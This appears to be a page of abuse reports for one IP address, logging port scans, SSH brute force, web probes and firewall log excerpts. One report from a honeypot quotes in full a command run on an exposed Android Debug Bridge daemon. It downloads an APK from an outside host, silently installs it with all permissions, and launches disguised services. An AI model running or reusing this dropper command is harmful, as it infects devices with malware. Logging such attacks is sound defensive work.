🇫🇮
mikkopal88
2026-10-26 09:35:18
(2 days ago)
TCP SYN port scan to SSH 22
Port Scan
SSH
🇳🇱
i-turnradio.nl
2026-10-21 18:40:08
(1 week ago)
2026-10-21 20:39:43 +02:00 - Unsolicited TCP connection to a honeypot port; probing port 22.
Port Scan
🇹🇷
ugurcoskun
2026-10-21 14:19:41
(1 week ago)
Seczar SecureOps — SSH Brute Force (6 events) — quarantined 43200m
SSH
Brute-Force
🇺🇸
RAP
2026-10-20 17:11:07
(1 week ago)
2026-10-20 17:11:07 UTC Unauthorized activity to TCP port 22. SSH
SSH
🇩🇪
big-cloud.nl
2026-10-20 11:22:39
(1 week ago)
Try to access /xmlrpc.php
Web App Attack
🇳🇱
Tsumugi Kotobuki
2026-10-18 15:13:05
(1 week ago)
Port Scan on Honeypot | Ports: 22/SSH | Proto: TCP(1) | Events: 1 | rDNS: 102.211.145.163.unwired.co.ke | F2B/ssh-honeypot-scan@2026-10-18T15:13:05Z
Port Scan
Hacking
🇵🇱
bmino.pl
2026-10-18 12:35:44
(1 week ago)
Autoban IP(2): 102.211.145.163 - Hostname: Unwired Communications Ltd - City: Nairobi - Country: Kenya - Organization: AS328490 Unwired Communications Limited - Reason: GET /?z=poi201qxgy49839qhwojko HTTP/1.1
Web App Attack
🇫🇷
security.rdmc.fr
2026-10-18 11:48:33
(1 week ago)
Port Scan Attack proto:TCP src:55502 dst:23
Port Scan
🇺🇸
cybsecaoccol
2026-10-18 06:26:59
(1 week ago)
multiple malicious connection attempts on tcp port 8080 - dr
DDoS Attack
Port Scan
Hacking
Brute-Force
🇺🇸
RAP
2026-10-16 17:14:52
(1 week ago)
2026-10-16 17:14:52 UTC Unauthorized activity to TCP port 23. Telnet
Port Scan
🇹🇷
teklasbt
2026-10-16 09:47:38
(1 week ago)
Seczar SecureOps — SSH Brute Force (6 events) — quarantined 43200m
SSH
Brute-Force
🇺🇸
drewf.ink
2026-10-10 18:00:30
(2 weeks ago)
[18:00] Ran commands on an exposed Android Debug Bridge daemon: DIR=/data/local/tmp; cd $DIR 2>/dev/null||cd /sdcard 2>/dev/null||cd /tmp 2>/dev/null||cd /; rm -f s.apk; (curl -skL http://217.60.195.187/LjEZs/Services.apk -o s.apk||toybox wget http:/ ...
show more
[18:00] Ran commands on an exposed Android Debug Bridge daemon: DIR=/data/local/tmp; cd $DIR 2>/dev/null||cd /sdcard 2>/dev/null||cd /tmp 2>/dev/null||cd /; rm -f s.apk; (curl -skL http://217.60.195.187/LjEZs/Services.apk -o s.apk||toybox wget http://217.60.195.187/LjEZs/Services.apk -O s.apk||wget http://217.60.195.187/LjEZs/Services.apk -O s.apk||busybox wget http://217.60.195.187/LjEZs/Services.apk -O s.apk) 2>/dev/null; SZ=$(ls -l s.apk 2>/dev/null | awk '{print $5}'); pm install -r -g s.apk >/dev/null 2>&1; cmd package install -r -g s.apk >/dev/null 2>&1; pm enable com.google.android.system.service >/dev/null 2>&1; am broadcast -a com.google.android.system.service.ENABLE_APP >/dev/null 2>&1; am start -n com.google.android.system.service/.TVOptimizer >/dev/null 2>&1; am start-foreground-service -n com.google.android.system.service/.MuhHeilong >/dev/null 2>&1; pm path com.google.android.system.service 2>/dev/null; echo SZ=$SZ
show less
Hacking
Exploited Host
IoT Targeted
🇺🇸
TPI-Abuse
2026-10-01 06:02:51
(3 weeks ago)
(mod_security) mod_security (id:210350) triggered by 102.211.145.163 (102.211.145.163.unwired.co.ke): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Oct 01 02:02:43.128780 2026] [security2:error] [pid 20382:tid 20382] ...
show more
(mod_security) mod_security (id:210350) triggered by 102.211.145.163 (102.211.145.163.unwired.co.ke): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Oct 01 02:02:43.128780 2026] [security2:error] [pid 20382:tid 20382] [client 102.211.145.163:38738] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||tradesecretintrust.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "tradesecretintrust.com"] [uri "/"] [unique_id "ar33g0Mcrcy9rIAAw0Rf2QAAAAI"], referer: https://seodofollowlink.store/dir/seo-ranking-links-216522
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-09-29 06:29:09
(4 weeks ago)
(mod_security) mod_security (id:210350) triggered by 102.211.145.163 (102.211.145.163.unwired.co.ke): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Sep 29 02:29:01.166196 2026] [security2:error] [pid 24612:tid 24612] ...
show more
(mod_security) mod_security (id:210350) triggered by 102.211.145.163 (102.211.145.163.unwired.co.ke): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Sep 29 02:29:01.166196 2026] [security2:error] [pid 24612:tid 24612] [client 102.211.145.163:35626] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rjhills.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rjhills.com"] [uri "/"] [unique_id "artardoB3CoD-GRyWp630gAAABg"], referer: https://getfreebacklinks.site/dir/high-dr-backlinks-177369
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-09-26 05:47:13
(1 month ago)
(mod_security) mod_security (id:210350) triggered by 102.211.145.163 (102.211.145.163.unwired.co.ke): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Sep 26 01:47:05.309029 2026] [security2:error] [pid 31865:tid 31865] ...
show more
(mod_security) mod_security (id:210350) triggered by 102.211.145.163 (102.211.145.163.unwired.co.ke): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Sep 26 01:47:05.309029 2026] [security2:error] [pid 31865:tid 31865] [client 102.211.145.163:51924] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vicmackenzie.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vicmackenzie.com"] [uri "/"] [unique_id "ardcWcRPQXBkzCTvzPgK5wAAABs"], referer: https://bulkdrchecker.shop/dir/premium-backlink-services-225614
show less
Brute-Force
Bad Web Bot
Web App Attack
